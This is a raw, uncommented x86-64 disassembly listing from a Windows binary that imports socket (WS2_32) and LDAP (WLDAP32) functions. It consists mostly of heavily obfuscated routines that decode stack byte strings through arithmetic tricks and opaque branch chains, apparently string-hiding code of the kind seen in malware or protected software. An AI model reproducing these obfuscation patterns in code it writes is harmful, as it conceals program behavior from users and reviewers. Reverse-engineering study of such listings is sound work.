add r11b, 0x13
movzx ebx, r10b
movabs rdx, 0xecfe19d24ba5f1d4
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
add cl, cl
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0x770], cl
inc r8
mov rax, r13
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x770]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140090202
movabs rcx, 0x8db1b99b2cc49c0d
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x5b
movzx eax, byte [rbp + rdi + 0x770]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140090202
movabs rcx, 0xdf1c79df6b61b0eb
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x6d
jmp 0x1400901fe
movabs rcx, 0xd5fb5377f833f38d
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x25
jmp 0x1400901ed
lea rcx, [rbp + 0x15da504]
jmp 0x140090ffa
lea rcx, [rbp + 0x17483b3]
jmp 0x140090ffa
lea rcx, [rbp + 0x770]
mov rdx, rsi
call fcn.1400353f0
lea rdx, [0x14021ac10]
lea rcx, [rbp + 0x200]
call fcn.1400022f0
mov rdi, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0x110]
mov rcx, qword [0x140220748]
call fcn.14006b3a0
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002490
lea rcx, [rbx + 0x30]
call fcn.14006a7d0
mov rsi, rax
mov byte [rbp + 0x798], 0x44
mov byte [rbp + 0x799], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x79a], 0x63
mov byte [rbp + 0x79b], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x79c], 0xa4
mov byte [rbp + 0x79d], 0x43
mov byte [rbp + 0x79e], Ordinal_79
mov byte [rbp + 0x79f], 0x51
mov byte [rbp + 0x7a0], 0x88
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x7a1], xmm0
mov qword [rbp + 0x7b1], rax
mov word [rbp + 0x7b9], ax
movabs r14, 0xb70cd0cfc7ddb40
movabs r15, 0x3f891c7a87410cc0
movabs r12, 0x7b65fcc26f351040
movzx r11d, byte [rsp + 0x40]
nop word [rax + rax]
mov r9, qword [0x140220a80]
mov r8, qword [0x140220a78]
nop
xor edi, edi
movabs rcx, 0x62118fdc0c05fe40
cmp rdi, 0x23
jae 0x140091df3
movzx ebx, byte [rbp + rdi + 0x798]
mov r10, rbx
cmp r9, rdi
ja 0x140091de7
lea rax, [r8 + 1]
cmp r9, rax
jae 0x140091133
add rcx, rdi
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
add r11b, 0x40
jmp 0x140091180
je 0x140091d5b
lea rax, [r8 + 2]
cmp r9, rax
je 0x140091cc8
lea rax, [r8 + 3]
cmp r9, rax
je 0x140091c8f
lea rax, [r8 + 5]
cmp r9, rax
je 0x140091c59
lea rax, [r8 + 6]
cmp r9, rax
je 0x140091bf5
lea rax, [r8 + 4]
cmp r9, rax
je 0x140091bc4
nop word [rax + rax]
cmp r8, rdi
ja 0x140091ddb
lea rax, [r8 + 0x5a]
cmp r9, rax
jae 0x1400911b5
lea rdx, [rdi + r14]
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140091200
lea rax, [r8 + 1]
cmp r9, rax
je 0x140091b72
lea rax, [r8 + 2]
cmp r9, rax
je 0x140091b49
lea rax, [r8 + 3]
cmp r9, rax
je 0x140091b21
lea rax, [r8 + 6]
cmp r9, rax
je 0x140091ae9
lea rax, [r8 + 3]
cmp r9, rax
je 0x140091aca
nop word [rax + rax]
lea rax, [r8 + r9]
cmp rax, rdi
jbe 0x140091777
nop dword [rax]
lea rax, [r8 + 0x7a]
cmp r9, rax
je 0x140091753
lea rax, [r8 + 0x28]
cmp r9, rax
je 0x14009172b
lea rax, [r8 + 2]
cmp r9, rax
je 0x14009171c
lea rax, [r8 + 0x200]
cmp r9, rax
je 0x1400916f9
lea rax, [r8 + 0x41]
cmp r9, rax
je 0x1400916ea
lea rax, [r8 + 0x40]
cmp r9, rax
je 0x1400916bb
lea rax, [r8 + 3]
cmp r9, rax
je 0x140091694
lea rax, [r8 + 0x3e8]
cmp r9, rax
je 0x140091671
lea rax, [r8 + 0x5a]
cmp r9, rax
je 0x140091662
lea rax, [r8 + 0x42]
cmp r9, rax
je 0x140091210
lea r9, [r8 + 1]
lea r8, [r9 + 4]
lea rax, [r8 + 8]
cmp r9, rax
jb 0x140091db8
lea rax, [r8 + 0x7a]
cmp r9, rax
jb 0x140091d90
lea rax, [r8 + 0x28]
cmp r9, rax
jb 0x1400913ff
lea rax, [r8 + 2]
cmp r9, rax
jb 0x1400913e0
lea rax, [r8 + 9]
cmp r9, rax
jb 0x1400913c2
lea rax, [r8 + 0x41]
cmp r9, rax
jb 0x140091653
lea rax, [r8 + 0x40]
cmp r9, rax
jb 0x1400915f6
lea rax, [r8 + 3]
cmp r9, rax
jb 0x1400915a9
lea rax, [r8 + 0xa]
cmp r9, rax
jb 0x14009157b
lea rax, [r8 + 0x5a]
cmp r9, rax
jb 0x140091210
lea r9, [r8 + 0x20]
lea r8, [r9 + 0x42]
lea rax, [r8 + 0x200]
cmp r9, rax
ja 0x14009154b
lea rax, [r8 + 8]
cmp r9, rax
ja 0x140091524
lea rax, [r8 + 0x7a]
cmp r9, rax
ja 0x140091515
lea rax, [r8 + 0x28]
cmp r9, rax
ja 0x1400914e2
lea rax, [r8 + 0x3e8]
cmp r9, rax
ja 0x1400914b0
lea rax, [r8 + 9]
cmp r9, rax
ja 0x1400914a1
lea rax, [r8 + 0x41]
cmp r9, rax
ja 0x14009147c
lea rax, [r8 + 0x40]
cmp r9, rax
ja 0x140091450
lea rax, [r8 + 0x400]
cmp r9, rax
ja 0x140091430
lea rax, [r8 + 0xa]
cmp r9, rax
ja 0x140091210
lea r9, [r8 + 0x61]
lea r8, [r9 + 0x5a]
jmp 0x140091210
lea rdx, [rdi + r15]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x40
add r11b, dl
jmp 0x140091200
lea rdx, [rdi + r12]
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140091180
movabs rdx, 0xb742dd0a572913c0
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x40
add r11b, dl
movabs rcx, 0x62118fdc0c05fe40
jmp 0x1400910fe
movabs rdx, 0x5b866867e3eeda00
add rdx, rdi
movzx ecx, bl
and cl, dl
add cl, cl
movzx r11d, bl
sub r11b, cl
jmp 0x140091b91
movabs rcx, 0x976348afcbe2dd80
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x80
inc r8
dec rdi
inc rdi
jmp 0x1400910e2
movabs rcx, 0xd34028f7b3d6e100
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
dec rdi
inc rdi
jmp 0x1400910e2
movabs rdx, 0xf1d093f9bcae480
jmp 0x140091a26
movabs rcx, 0x4af9e98783bee800
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r9, r8
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400910e2
movabs rcx, 0x86d6c9cf6bb2eb80
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x80
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400910e2
movabs rdx, 0xc2b3aa1753a6ef00
jmp 0x1400919da
movabs rdx, 0xfe908a5f3b9af280
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x80
add r11b, dl
jmp 0x140091d1a
movabs rcx, 0x3a6d6aa7238ef600
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
movzx eax, byte [rbp + rdi + 0x798]
add rax, r8
add rdi, rax
inc rdi
jmp 0x1400910e2
movabs rcx, 0x50159b5ae770fec0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x40
mov byte [rbp + rdi + 0x798], r11b
inc rdi
jmp 0x1400910e2
movabs rdx, 0x8bf27ba2cf650240
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
cmp r8, 0x61
jb 0x140091599
movabs rdx, 0x12ff51acca634d80
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
add cl, dl
lea r11d, [rcx + rcx]
jmp 0x140091b94
movabs rdx, 0xc7cf5beab75905c0
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x40
add r11b, dl
cmp r9, 0x20
jae 0x140091a70
lea rax, [r8 + 0x41]
cmp r9, rax
jbe 0x140091986
movabs rdx, 0x69a0147bd9eb7080
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x80
jmp 0x1400915c9
movabs rdx, 0x3ac3c329f4d0940
jmp 0x14009178e
movabs rcx, 0x44a4ce4deaf32380
jmp 0x1400917fe
movabs rdx, 0x8081ae95d2e72700
add rdx, rdi
movzx ecx, bl
and cl, dl
add cl, cl
movzx r11d, bl
sub r11b, cl
add r11b, dl
jmp 0x140091d1a
movabs rdx, 0xbc5e8eddbadb2a80
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x80
add r11b, dl
jmp 0x140091ce9
movabs rcx, 0xf83b6f25a2cf2e00
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400910e2
movabs rcx, 0x34184f6d8ac33180
jmp 0x14009183f
movabs rdx, 0x6ff52fb572b73500
add rdx, rdi
movzx ecx, bl
and cl, dl
add cl, cl
movzx r11d, bl
sub r11b, cl
add r11b, dl
jmp 0x140091c18
movabs rcx, 0xabd20ffd5aab3880
jmp 0x140091882
movabs rcx, 0xe7aef045429f3c00
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
inc r8
dec rdi
inc rdi
jmp 0x1400910e2
movabs rdx, 0x238bd08d2a933f80
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x80
jmp 0x140091b91
lea rax, [r8 + 6]
cmp r9, rax
jae 0x1400917e7
movabs rdx, 0x62118fdc0c05fe40
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
lea rax, [r8 + r9]
cmp rax, 1
je 0x140091a9b
lea rax, [r8 + 4]
cmp r9, rax
jbe 0x1400918d6
movabs rdx, 0x5e2f476edd6d9540
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x140091615
lea rax, [r8 + 1]
cmp r9, rax
jne 0x140091828
movabs rcx, 0x16e19a19f8fbb680
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x80
movzx eax, byte [rbp + rdi + 0x798]
add rax, r8
add rdi, rax
inc rdi
jmp 0x1400910e2
lea rax, [r8 + 2]
cmp r9, rax
jne 0x14009186b
movabs rcx, 0x276e18fa592ba880
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x80
add r9, r8
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400910e2
lea rax, [r8 + 3]
cmp r9, rax
jne 0x1400918a1
movabs rcx, 0xafb4586a8943a180
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x80
dec rdi
inc rdi
jmp 0x1400910e2
lea rax, [r8 + 6]
cmp r9, rax
jne 0x1400917a7
movabs rcx, 0x73d77822a14f9e00
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
inc r8
dec rdi
inc rdi
jmp 0x1400910e2
lea rax, [r8 + 1]
cmp r9, rax
jne 0x140091906
movabs rcx, 0x22526726f57991c0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x40
jmp 0x140091b94
lea rax, [r8 + 3]
cmp r9, rax
jne 0x140091922
movabs rdx, 0x6ebbc64f3d9d8740
jmp 0x140091b2b
lea rax, [r8 + 2]
cmp r9, rax
jne 0x14009193e
movabs rcx, 0x32dee60755a983c0
jmp 0x140091c63
lea rax, [r8 + 5]
cmp r9, rax
jne 0x14009195a
movabs rdx, 0xf70205bf6db58040
jmp 0x140091af3
lea rax, [r8 + 8]
cmp r9, rax
jne 0x140091618
movabs rcx, 0x436b64e7b5d975c0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
jmp 0x140091d76
lea rax, [r8 + 1]
cmp r9, rax
jne 0x1400919c3
movabs rcx, 0x2dc33433f1f76d00
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
movzx eax, byte [rbp + rdi + 0x798]
add rax, r8
add rdi, rax
inc rdi
jmp 0x1400910e2
lea rax, [r8 + 2]
cmp r9, rax
jne 0x1400919f3
movabs rdx, 0xb60973a4220f6600
add rdx, rdi
movzx ecx, bl
and cl, dl
add cl, cl
movzx r11d, bl
sub r11b, cl
add r11b, dl
jmp 0x140091ce9
lea rax, [r8 + 3]
cmp r9, rax
jne 0x140091a0f
movabs rcx, 0x7a2c935c3a1b6280
jmp 0x1400914ec
lea rax, [r8 + 5]
cmp r9, rax
jne 0x140091a43
movabs rdx, 0x272d2cc6a335b80
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x80
add r11b, dl
jmp 0x140091c18
lea rax, [r8 + 7]
cmp r9, rax
jne 0x1400915cc
movabs rdx, 0x4edc31f4b2575100
add rdx, rdi
movzx ecx, bl
and cl, dl
add cl, cl
movzx r11d, bl
sub r11b, cl
jmp 0x140091b91
movabs rdx, 0xd7227164e26f4a00
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, byte [rbp + rdi + 0x798]
sub r11b, al
add r11b, bl
add r11b, dl
jmp 0x140091c18
movabs rdx, 0x9b45911cfa7b4680
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, byte [rbp + rdi + 0x798]
add r11b, 0x80
add r11b, dl
jmp 0x140091ce9
movabs rcx, 0xf0acea85d4e9bbc0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
jmp 0x140091d76
movabs rdx, 0xa4438b5d8cc5c640
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400910e2
movabs rdx, 0x1bfd4bed5cadcd40
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140091c18
movabs rcx, 0x57da2c3544a1d0c0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x40
dec rdi
inc rdi
jmp 0x1400910e2
movabs rdx, 0xcf93ecc51489d7c0
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x40
add r11b, dl
movabs rcx, 0x7510e188d6694bc0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0x40
add bl, cl
mov byte [rbp + rdi + 0x798], bl
inc r8
dec rdi
inc rdi
jmp 0x1400910e2
movabs rdx, 0x832a8d9ccc65e240
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r8
dec rdi
inc rdi
jmp 0x1400910e2
movabs rdx, 0xfae44e2c9c4de940
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movabs rcx, 0x39340140ee754840
add rcx, rdi
movzx eax, cl
and al, bl
mov edx, reloc.WLDAP32.dll_Ordinal_32
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
add dl, bl
mov byte [rbp + rdi + 0x798], dl
add r9, r8
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400910e2
movabs rcx, 0x36c12e748441ecc0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x40
add r9, r8
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400910e2
movabs rdx, 0x729e0ebc6c35f040
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400910e2
mov rbx, r10
movabs rax, 0xae7aef045429f3c0
add rax, rdi
and r10b, al
add r10b, r10b
sub al, r10b
lea r11d, [rbx + rax]
sub r11b, 0x40
movabs rdx, 0xfd5720f9068144c0
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
sub cl, 0x40
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0x798], al
inc r8
add rax, r8
sub rdi, rax
movabs rcx, 0x5f68b0d512874300
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, bl
mov byte [rbp + rdi + 0x798], cl
inc r9
mov rax, r13
sub rax, r9
add rdi, rax
movzx eax, byte [rbp + rdi + 0x798]
add rax, r8
add rdi, rax
inc rdi
jmp 0x1400910e2
movabs rcx, 0x2634af942411fac0
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x40
movzx eax, byte [rbp + rdi + 0x798]
add rax, r8
add rdi, rax
inc rdi
jmp 0x1400910e2
movabs rdx, 0xf31fbd523f1d1740
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400910de
movabs rcx, 0x2efc9d9a27111ac0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x40
jmp 0x1400910c7
lea rcx, [rbp + 0x146da98]
jmp 0x140091dfa
lea rcx, [rbp + 0xccd8d8]
jmp 0x140091dfa
lea rcx, [rbp + 0x798]
mov rdx, rsi
call fcn.1400353f0
lea rdx, [0x14021aaf0]
lea rcx, [rbp + 0x220]
call fcn.1400022f0
mov rdi, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp - 0x60]
mov rcx, qword [0x140220748]
call fcn.14006b3a0
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002490
lea rcx, [rbx + 0x30]
call fcn.14006a7d0
mov rsi, rax
mov byte [rbp + 0x7c0], select
mov byte [rbp + 0x7c1], 0x60
mov byte [rbp + 0x7c2], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x7c3], 0x66
mov byte [rbp + 0x7c4], Ordinal_41
mov byte [rbp + 0x7c5], 9
mov byte [rbp + 0x7c6], 0x67
mov byte [rbp + 0x7c7], 0x65
mov byte [rbp + 0x7c8], WSAGetLastError
mov byte [rbp + 0x7c9], 0x65
mov byte [rbp + 0x7ca], 0x79
mov byte [rbp + 0x7cb], 0xcb
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x7cc], xmm0
mov dword [rbp + 0x7dc], eax
mov word [rbp + 0x7e0], ax
mov byte [rbp + 0x7e2], al
movabs r14, 0xc5266266cd7c8e20
movabs r15, 0xb76bc846ee99f5e0
movabs r12, 0x8c438e24c2a67aa0
movzx r11d, byte [rsp + 0x40]
nop
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
xor edi, edi
movabs rcx, 0x15941d1115f9bda0
cmp rdi, 0x23
jae 0x140092c41
movzx ebx, byte [rbp + rdi + 0x7c0]
mov r10, rbx
cmp r8, rdi
ja 0x140092c35
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140091f43
add rcx, rdi
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
sub r11b, 0x60
jmp 0x140091f90
je 0x140092ba9
lea rax, [r9 + 2]
cmp r8, rax
je 0x140092b0d
lea rax, [r9 + 4]
cmp r8, rax
je 0x140092ad7
lea rax, [r9 + 6]
cmp r8, rax
je 0x140092a8a
lea rax, [r9 + 7]
cmp r8, rax
je 0x140092a5c
lea rax, [r9 + 9]
cmp r8, rax
je 0x140092a0a
nop word [rax + rax]
cmp r9, rdi
ja 0x140092c29
lea rax, [r9 + 0x64]
cmp r8, rax
jae 0x140091fc5
lea rdx, [rdi + r14]
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140092000
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400929e2
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400929b9
lea rax, [r9 + 5]
cmp r8, rax
je 0x140092986
lea rax, [r9 + 3]
cmp r8, rax
je 0x140092963
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x140092601
nop dword [rax]
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400925de
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400925b6
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400925a2
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x14009257f
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x14009255c
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x14009252d
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x140092505
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400924e2
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400924ae
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x140092010
lea r8, [r9 + 0x40]
lea r9, [r8 + 0x28]
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x140092c06
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x140092bde
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400921e0
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400921c6
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400921ac
lea rcx, [r9 + 0x10]
cmp r8, rcx
jb 0x140092454
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400923f2
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1400923a9
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x14009237b
mov r8, rcx
lea r9, [rcx + 0xa]
lea rax, [r9 + 9]
cmp rcx, rax
ja 0x14009234b
lea rax, [r9 + 6]
cmp rcx, rax
ja 0x140092323
lea rax, [r9 + 0x40]
cmp rcx, rax
ja 0x140092300
lea rax, [r9 + 0x20]
cmp rcx, rax
ja 0x1400922cd
lea rax, [r9 + 0xa]
cmp rcx, rax
ja 0x1400922ae
lea rcx, [r9 + 8]
cmp r8, rcx
ja 0x140092286
lea rax, [r9 + 5]
cmp r8, rax
ja 0x14009225d
lea rax, [r9 + 3]
cmp r8, rax
ja 0x140092231
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x140092212
mov r8, rcx
lea r9, [rcx + 6]
jmp 0x140092010
lea rcx, [rdi + r15]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x20
jmp 0x140092000
lea rcx, [rdi + r12]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x60
jmp 0x140091f90
movabs rdx, 0x611b540296b2ff60
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movabs rcx, 0x15941d1115f9bda0
jmp 0x140091f0e
movabs rcx, 0x293313366be47100
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
jmp 0x140092a28
movabs rcx, 0xfe0ad9143ff0f5c0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x40
inc r9
dec rdi
inc rdi
jmp 0x140091ef2
movabs rcx, 0xd2e29ef213fd7a80
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x80
dec rdi
inc rdi
jmp 0x140091ef2
movabs rdx, 0xa7ba64cfe809ff40
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140092aad
movabs rcx, 0x7c922aadbc168400
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
jmp 0x140092af5
movabs rcx, 0x5169f08b902308c0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x40
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140091ef2
movabs rcx, 0x2641b669642f8d80
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x80
jmp 0x140092b34
movabs rdx, 0xfb197c47383c1240
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140092b65
movabs rcx, 0xcff142250c489700
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
movzx eax, byte [rbp + rdi + 0x7c0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140091ef2
movabs rcx, 0x640cb0cf9e67e2e0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x20
mov byte [rbp + rdi + 0x7c0], r11b
inc rdi
jmp 0x140091ef2
movabs rcx, 0x38e476ad727467a0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x60
cmp r9, 0x7a
jb 0x140092399
movabs rcx, 0x990394cec1818dc0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, bl
lea r11d, [rcx*2 - 0x80]
jmp 0x140092a28
movabs rdx, 0xdbc3c8b4680ec60
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
cmp r8, 0x2a
jae 0x140092916
lea rax, [r9 + 0x5a]
cmp r8, rax
jbe 0x140092846
movabs rdx, 0xe9714f7909febd40
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400923c7
movabs rdx, 0xe29402691a8d7120
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
lea rax, [r9 + r8]
cmp rax, 3
je 0x140092941
lea rax, [r9 + 0x20]
cmp r8, rax
jbe 0x140092753
movabs rdx, 0x244aed123c822f20
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recv
jmp 0x140092409
movabs rcx, 0x9ee64e68d0eb54c0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x40
